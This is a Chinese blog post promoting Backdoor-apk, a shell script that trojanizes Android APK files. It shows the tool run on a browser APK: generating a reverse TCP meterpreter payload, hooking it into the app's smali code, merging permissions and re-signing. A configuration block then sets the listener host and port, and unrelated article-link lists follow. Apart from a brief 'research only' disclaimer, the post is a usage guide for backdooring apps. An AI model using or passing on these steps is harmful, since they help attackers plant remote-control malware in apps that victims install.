工具推荐:Backdoor-apk,安卓APK文件后门测试工具


Backdoor-apk可以看成是一个shell脚本程序,它简化了在Android APK文件中添加后门的过程。安全研究人员在使用该工具前应该对Linux、Bash、Metasploit、Apktool、Android SDK 、smali有所了解,同时原作者表示该工具仅仅供研究和学习使用。
文章中介绍的工具、技术带有一定的攻击性,仅供安全研究,请合理合法使用。
参数以及启用
root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk [*] Generating reverse tcp meterpreter payload...done.[+] Handle the meterpreter connection at: 10.6.9.31:1337[*] Decompiling original APK file...done.[*] Decompiling RAT APK file...done.[*] Creating new directories in original project for RAT smali files...done.[*] Copying RAT smali files to new directories in original project...done.[*] Fixing RAT smali files...done.[*] Locating smali file to hook in original project...done.[*] Adding hook in original smali file...done.[*] Merging permissions of original and payload projects...done.[*] Recompiling original project with backdoor...done.[*] Signing recompiled APK...done.root@kali:~/Android/evol-lab/BaiduBrowserRat#
制作好的apk文件应该在original/dist目录下找到,将其安装在测试设备上,然后设置好IP以及端口再利用meterpreter 进行测试。
注意
如果在Kali里面运行还需要安装兼容库
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
配置
在出现问题时可更新下面配置信息
MSFVENOM=msfvenomLHOST="10.6.9.31"LPORT="1337"APKTOOL=apktool2MY_PATH=`pwd`ORIG_APK_FILE=$1RAT_APK_FILE=Rat.apkLOG_FILE=run.log
项目地址:猛戳我

最新文章

  1. extarea输入的换行在网页上正常显示
  2. Eclipse的SVN插件下载
  3. linux中授予普通用户root权限
  4. UVa 10720 - Graph Construction(Havel-Hakimi定理)
  5. XE随想4:SuperObject增、删、改
  6. Character Controller (角色控制器) 中 Move()和SimpleMove() 的区别
  7. java控制反转与依赖注入
  8. ubuntu c程序操作系统设备
  9. MPI编程的常用接口速查
  10. 第九章------HAL
  11. iOS个别界面旋转问题
  12. [转]ANDROID仿IOS微信滑动删除_SWIPELISTVIEW左滑删除例子
  13. 浅析pinyin4j源码 简单利用pinyin4j对中文字符进行自然排序(转)
  14. Zepto源码分析(二)奇淫技巧总结
  15. 解析 .Net Core 注入 (2) 创建容器
  16. windows下安装和配置nginx
  17. Spring Boot2.0 设置拦截器
  18. Linux 下安装 Tomcat 出现拒绝访问的情况
  19. tomcat中配置https请求
  20. C#调用cmd命令

热门文章

  1. Java并发编程之线程创建和启动(Thread、Runnable、Callable和Future)
  2. springMVC 访问静态资源
  3. 字符串(string)与整型(int)、浮点型(float)等之间的转换
  4. 远程连接工具SSH和linux的连接
  5. BZOJ3289 Mato的文件管理(莫队+树状数组)
  6. Java中线程同步的理解 - 其实应该叫做Java线程排队
  7. 学习Spring Boot:(八)Mybatis使用分页插件PageHelper
  8. BZOJ 2521: [Shoi2010]最小生成树
  9. Android ListView 几个重要属性
  10. Spring MVC+Spring+Mybatis+MySQL(IDEA)入门框架搭建